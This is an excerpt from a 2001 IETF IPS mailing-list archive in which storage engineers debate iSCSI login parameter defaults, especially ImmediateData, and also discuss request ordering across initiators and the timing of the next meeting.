[mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:38 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > > Robert, > > I disagree that Immediate is "the most demanding" mode. That > is not my > experience and not what I heard from most of the developers. On the > contrary immediate data do not require a separate indexing > operation on the > target (as non-immediate unsolicited do) and that was the base for the > consensus to have them negotiated separately. > > For the software initiator it is the most inexpensive way to > perform short > data transfers (4-8k) typical for major applications like > Database access > and so it is for lightweight target. > > Julo > > > > > > Robert Snively > > Hufferd/San Jose/IBM@IBMUS, Julian > ade.com> > Satran/Haifa/IBM@IBMIL > cc: > ips@ece.cmu.edu > 28-09-01 17:25 Subject: RE: > iscsi : iscsi parameter default values > Please respond > > to Robert > > Snively > > > > > > > > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] > drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, > iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to > the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode > Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server > capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sat Sep 29 18:42:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26986 for ; Sat, 29 Sep 2001 18:42:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLggV20145 for ips-outgoing; Sat, 29 Sep 2001 17:42:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from tower.integrix.com (lsanca1-ar4-096-158.biz.dsl.gtei.net [4.35.96.158]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SNAaP11358 for ; Fri, 28 Sep 2001 19:10:36 -0400 (EDT) Received: from integrix.com ([192.9.200.209]) by tower.integrix.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f8SN9Xj18742 for ; Fri, 28 Sep 2001 16:09:33 -0700 (PDT) Message-ID: <3BB50368.46D04D4B@integrix.com> Date: Fri, 28 Sep 2001 16:10:32 -0700 From: Marcos Delmar Organization: IQStor X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: login parameters/text command Content-Type: multipart/mixed; boundary="------------8AA56521F759223FB9287DE4" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------8AA56521F759223FB9287DE4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit is an initiator allowed to send text parameters in a "text command" without login in? or must the login text parameters be: a- only sent along during the initiator "login request" packet b- sent in a "text command" only after a "login response" has been issued by the target to the initiator --------------8AA56521F759223FB9287DE4 Content-Type: text/x-vcard; charset=us-ascii; name="marcos.vcf" Content-Description: Card for Marcos Delmar Content-Disposition: attachment; filename="marcos.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Delmar;Marcos tel;fax:(805) 376-1001 tel;work:(805) 376-1000 x209 x-mozilla-html:TRUE org:IQStor Networks, Inc.;Engineering Dept. adr:;;2001 Corporate Center Dr;Newbury Park;CA;91320; version:2.1 email;internet:marcos@integrix.com fn:Marcos Delmar end:vcard --------------8AA56521F759223FB9287DE4-- From owner-ips@ece.cmu.edu Sat Sep 29 19:29:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26908 for ; Sat, 29 Sep 2001 18:38:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8TLkfJ20408 for ips-outgoing; Sat, 29 Sep 2001 17:46:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SFQ2P11134 for ; Fri, 28 Sep 2001 11:26:02 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id IAA03292; Fri, 28 Sep 2001 08:25:48 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 08:25:46 -0700 Message-ID: From: Robert Snively To: "'John Hufferd'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 08:25:45 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk I vote no as the default value on ImmediateData. A default value of yes on ImmediateData requires implementation of the most complex and demanding mode of operation as the default. SCSI has traditionally made its default behavior the simplest and most encompassing, setting more sophisticated behavior by subsequent agreement. While it may be your earnest desire to encourage the implementation of this function, it is not appropriate to demand that as the default behavior of all devices. In particular, there is no special benefit to providing ImmediateData in low-cost local sub-lans. If you want to encourage it in a profile, fine, but demanding it as the default in the core standard is not appropriate. Note that the behavior of SCSI is traditionally managed entirely by the target. As such, there has never before now been a requirement for the target to, as a default, accept any PDU except a command or task management function that was not explicitly solicited. That is one of the mechanisms that assists SCSI in achieving a low-overhead zero copy capability while operating with a large number of initiators and with deep command queues. Bob Snively e-mail: rsnively@brocade.com Brocade Communications Systems phone: 408 487 8135 1745 Technology Drive San Jose, CA 95110 > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 28, 2001 1:33 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > I also agree with this. It should be yes. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: RE: iscsi : iscsi parameter default values > > > > > The one that I have trouble living with is ImmediateData. > This is important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > "Eddy > Quicksall" To: "'Santosh Rao'" > , > > iaone.net> cc: > Sent by: Subject: RE: > iscsi : iscsi > parameter default values > owner-ips@ece.c > mu.edu > > > 27-09-01 17:22 > Please respond > to "Eddy > Quicksall" > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default > values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of > order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages > gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages > which is not > in line with mode page > > usage. This impacts the target's ability to enforce > values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > > > > From owner-ips@ece.cmu.edu Sat Sep 29 21:47:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29523 for ; Sat, 29 Sep 2001 21:47:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8U0lMm28321 for ips-outgoing; Sat, 29 Sep 2001 20:47:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from smtp01.wxs.nl (smtp01.wxs.nl [195.121.6.61]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U0lJP28316 for ; Sat, 29 Sep 2001 20:47:19 -0400 (EDT) Received: from daniel ([213.10.179.111]) by smtp01.wxs.nl (Netscape Messaging Server 4.15) with SMTP id GKGA6K01.E29; Sun, 30 Sep 2001 02:47:08 +0200 Message-ID: <008c01c1494b$41b54c60$9600000a@daniel> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "'IPS Reflector'" , Subject: iSCSI:Request/Response Ordering Date: Sun, 30 Sep 2001 03:00:10 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0089_01C1495C.04D4AC30" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0089_01C1495C.04D4AC30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello All (T10, IPS), The SAM-2 specifications makes no assumption about, or places any = requirement on the ordering of requests or responses between tasks or = task management functions received from different SCSI initiator ports. In this scenario how can a SCSI target make correctly handle the = read/write requests made on same blocks by different intiators at the = same time. Sanjeev ------=_NextPart_000_0089_01C1495C.04D4AC30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello All (T10, IPS),
 
The SAM-2 specifications makes no = assumption about,=20 or places any requirement on the ordering of requests or responses = between tasks=20 or task management functions received from different SCSI initiator=20 ports.
 
In this scenario how can a SCSI = target make=20 correctly handle the read/write requests made on same blocks by = different=20 intiators at the same time.
 
Sanjeev
 
------=_NextPart_000_0089_01C1495C.04D4AC30-- From owner-ips@ece.cmu.edu Sun Sep 30 03:47:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19205 for ; Sun, 30 Sep 2001 03:47:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8U33fo03912 for ips-outgoing; Sat, 29 Sep 2001 23:03:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ophidian.com ([209.248.81.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U33YP03903 for ; Sat, 29 Sep 2001 23:03:35 -0400 (EDT) Received: from boa [209.248.81.129] by ophidian.com (SMTPD32-7.03) id AB8E16F20298; Sat, 29 Sep 2001 21:03:42 -0600 Message-ID: <001f01c1495e$41644b90$0302010a@boa> From: "Edward A. Gardner" To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" , "'IPS Reflector'" , Subject: Re: iSCSI:Request/Response Ordering Date: Sat, 29 Sep 2001 21:16:07 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The simple answer is that an initiator may not make any assumptions about the order of requests to the same blocks (by itself or other initiators) that may be outstanding at the same time. If you care about ordering, an initiator must wait until previous requests are complete before issuing a request that references the same block(s). This assumes that all commands are issued as simple tasks, which is the most common situation today (one suspects the only situation). People have suggested more complex schemes in the past, amounting to exporting some portion of the transfer dependency graph to the target. The ordered task attribute is one approach to this. None have proved practical in practice. In practice, if a target receives references to the same block from multiple initiators, it can perform the operations in whatever order it wishes. There is no "correct" order, all are equally valid. (Again, I'm assuming all are issued as simple tasks). Edward A. Gardner eag@ophidian.com Ophidian Designs 719 593-8866 voice 1262 Hofstead Terrace 719 593-8989 fax Colorado Springs, CO 80907 719 210-7200 cell -----Original Message----- From: Sanjeev Bhagat (TRIPACE/Zoetermeer) To: 'IPS Reflector' ; T10@t10.org Date: Saturday, September 29, 2001 7:03 PM Subject: iSCSI:Request/Response Ordering Hello All (T10, IPS), The SAM-2 specifications makes no assumption about, or places any requirement on the ordering of requests or responses between tasks or task management functions received from different SCSI initiator ports. In this scenario how can a SCSI target make correctly handle the read/write requests made on same blocks by different intiators at the same time. Sanjeev From owner-ips@ece.cmu.edu Sun Sep 30 03:47:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19217 for ; Sun, 30 Sep 2001 03:47:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8U6dHR10593 for ips-outgoing; Sun, 30 Sep 2001 02:39:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sentinel.sanera.net (ns1.sanera.net [208.253.254.10] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U6d2P10582 for ; Sun, 30 Sep 2001 02:39:03 -0400 (EDT) Received: from newton.sanera.net (newton [192.168.254.11]) by sentinel.sanera.net (8.11.2/8.11.2) with ESMTP id f8U3drO17077; Sat, 29 Sep 2001 20:39:53 -0700 Received: from strahmw2k (ras-pc-7-8.sanera.net [172.16.7.8]) by newton.sanera.net (8.11.4/8.11.4) with SMTP id f8U3dlp08954; Sat, 29 Sep 2001 20:39:47 -0700 (PDT) From: "Bill Strahm" To: "Eddy Quicksall" , Subject: RE: next meeting Date: Sat, 29 Sep 2001 20:39:44 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000A_01C14926.DF686430" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <006201c14869$bb4546d0$0102a8c0@eddylaptop> Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C14926.DF686430 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit All meetings of the IPS are for general attendance according to IETF policy. However I believe the next time that the group might meet would be the next IETF meeting Dec 9-13th in Salt Lake City (David/Elizabeth, I am assuming IPS will meet there). Bill -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Eddy Quicksall Sent: Friday, September 28, 2001 3:06 PM To: ips@ece.cmu.edu Subject: next meeting Does anybody know where and when the next IPS meeting for general attendance is? Eddy_Quicksall@iVivity.com ------=_NextPart_000_000A_01C14926.DF686430 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
All=20 meetings of the IPS are for general attendance according to IETF = policy. =20 However I believe the next time that the group might meet would be the = next IETF=20 meeting Dec 9-13th in Salt Lake City (David/Elizabeth, I am assuming IPS = will=20 meet there). 
 
Bill
-----Original Message-----
From: = owner-ips@ece.cmu.edu=20 [mailto:owner-ips@ece.cmu.edu]On Behalf Of Eddy=20 Quicksall
Sent: Friday, September 28, 2001 3:06 = PM
To:=20 ips@ece.cmu.edu
Subject: next meeting

Does = anybody know=20 where and when the next IPS meeting for general attendance=20 is?
 
Eddy_Quicksall@iVivity.com=
 
------=_NextPart_000_000A_01C14926.DF686430-- From owner-ips@ece.cmu.edu Sun Sep 30 06:35:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20621 for ; Sun, 30 Sep 2001 06:35:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8U9ct316223 for ips-outgoing; Sun, 30 Sep 2001 05:38:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U9crP16194 for ; Sun, 30 Sep 2001 05:38:53 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id FAA102906; Sun, 30 Sep 2001 05:36:29 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8U9coA226804; Sun, 30 Sep 2001 03:38:50 -0600 Importance: Normal Subject: Re: iSCSI:Request/Response Ordering To: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" Cc: "'IPS Reflector'" , X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Sun, 30 Sep 2001 02:37:57 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/30/2001 03:38:50 AM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8U9crP16210 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Sanjeev, This is the purpose of Reserves. Also, any application that performs this type of operation to the very same device, from different systems, and has not performed locking at the application level deserves what it gets. If the connections are from the same system, this is one of the purposes of the Wedge Driver to coordinate I/O across different Connections. Clustered Systems have had to deal with this for the last 35 years. Shared File Systems have a locking technique that spans the Cluster. In Databases they also have a locking technique that spans the Cluster. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" @ece.cmu.edu on 09/29/2001 06:00:10 PM Sent by: owner-ips@ece.cmu.edu To: "'IPS Reflector'" , cc: Subject: iSCSI:Request/Response Ordering Hello All (T10, IPS), The SAM-2 specifications makes no assumption about, or places any requirement on the ordering of requests or responses between tasks or task management functions received from different SCSI initiator ports. In this scenario how can a SCSI target make correctly handle the read/write requests made on same blocks by different intiators at the same time. Sanjeev From owner-ips@ece.cmu.edu Sun Sep 30 06:36:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20638 for ; Sun, 30 Sep 2001 06:36:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8U9TrG15259 for ips-outgoing; Sun, 30 Sep 2001 05:29:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8U9TpP15255 for ; Sun, 30 Sep 2001 05:29:51 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id FAA28262; Sun, 30 Sep 2001 05:27:28 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8U9TnA77054; Sun, 30 Sep 2001 03:29:49 -0600 Importance: Normal Subject: RE: iscsi : iscsi parameter default values To: Robert Snively Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Sun, 30 Sep 2001 02:28:58 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/30/2001 03:29:49 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Robert, You only have to perform moves, if you have not coded your buffer manager to manage Chained Segments. Since this is a very old and highly used technique in buffer management, especially involving Telecommunications, I am surprised that you have not considered it. Perhaps I am missing something in what you are trying to say but I have used it often to avoid moving data and obtaining zero-copy. It is also works well with devices that support Scatter Gather, which is the usual case with Disk. Immediate data is simple, perhaps the simplest of all our functions to code. You are correct, that it means that there may have to be reasonably sized buffers. This argument was valid years ago, but it is now just too hard not to have large buffers in a storage controller (in fact now small cost more). Yes, I know there are limits to what I said above, but that is why the ImmediateData=No can be used. But your focus and arguments are old arguments, for devices that thought memory was too expensive to use a great deal of it. Example: since most uses of ImmediateData will probably average less then 4k (example Database pages), four thousand connections means 16 Meg, I do not think you can even get a decent price on memories that small. If you have a device that supports 4 thousand host connections, I suggest that 16 meg is not an issue. Why would we even discuss it? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Robert Snively @ece.cmu.edu on 09/28/2001 04:31:12 PM Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values Julian, For SCSI Write operations, ImmediateData = yes is the most demanding mode for the target. If I understand it correctly, it essentially over-rides the R2T state, allowing the first burst to be included as immediate data. In SCSI, except for special cases like this, the target is the device in charge of data transfers. This mode requires the target to have a guaranteed collection of received buffer space adequate to receive all possible outbound queued operations from all possible initiators through all possible target sessions (which may sum to 1000s of output operations), regardless of what other buffer-intensive operations may be going on in the device. It then requires the device to provide association with each of those commands instead of just the commands it has elected to activate. Without immediate data, the command buffer can be separated and separately managed from the data buffer, limiting buffer requirements. It then requires the device to operate in a non-zero-copy mode (which raises buffer utilization and increases latency) while the device analyzes the command to determine what should be done with the data. It further requires the subsequent data (if there is more than one PDU to be transmitted) to be separately managed, and perhaps actually stored in a separate operation if the buffer must be cleared to make space available for it. It further requires the target to analyze the data for completeness before going on to determine what to do with it. Sure, it is easy for the initiator, but so is everything else except out-of-order reads. It is the target you are stressing with this. For local sub-LANs, and depending on the actual buffering available in the target, the performance may actually be lower with ImmediateData allowed, because zero copy behavior of the target to non-volatile media is not available, which raises buffer utilization. Have I missed something that would change my mind? Bob > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:38 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > > Robert, > > I disagree that Immediate is "the most demanding" mode. That > is not my > experience and not what I heard from most of the developers. On the > contrary immediate data do not require a separate indexing > operation on the > target (as non-immediate unsolicited do) and that was the base for the > consensus to have them negotiated separately. > > For the software initiator it is the most inexpensive way to > perform short > data transfers (4-8k) typical for major applications like > Database access > and so it is for lightweight target. > > Julo > > > > > > Robert Snively > > Hufferd/San Jose/IBM@IBMUS, Julian > ade.com> > Satran/Haifa/IBM@IBMIL > cc: > ips@ece.cmu.edu > 28-09-01 17:25 Subject: RE: > iscsi : iscsi parameter default values > Please respond > > to Robert > > Snively > > > > > > > > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 